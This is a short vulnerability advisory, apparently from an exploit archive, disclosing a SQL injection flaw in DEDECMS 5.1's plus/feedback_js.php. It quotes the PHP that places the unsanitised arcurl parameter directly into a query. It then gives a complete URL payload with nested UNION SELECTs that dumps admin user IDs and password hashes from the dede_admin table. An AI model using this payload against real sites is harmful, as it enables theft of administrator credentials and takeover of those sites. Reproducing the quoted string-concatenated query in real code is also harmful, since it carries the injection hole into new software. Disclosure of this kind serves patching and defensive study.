######################### Securitylab.ir ########################
# Application Info:
# Name: DEDECMS
# Version: 5.1
####

# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir

####

# Vulnerability Info:
# Type: Sql Injection Vulnerability
# Risk: Medium

#===========================================================

# feedback_js.php
$urlindex = 0;
if(empty($arcID))

{

$row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' ");

if(is_array($row)) $urlindex = $row['id'];

}

if(empty($arcID) && empty($urlindex)) exit();

......

if(empty($arcID)) $wq = " urlindex = '$urlindex' ";

else $wq = " aid='$arcID' ";

$querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc";

$dlist->Init();

$dlist->SetSource($querystring);

...

# http://site.com/[PATH]/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''=

#===========================================================

####

# Securitylab Security Research Team

######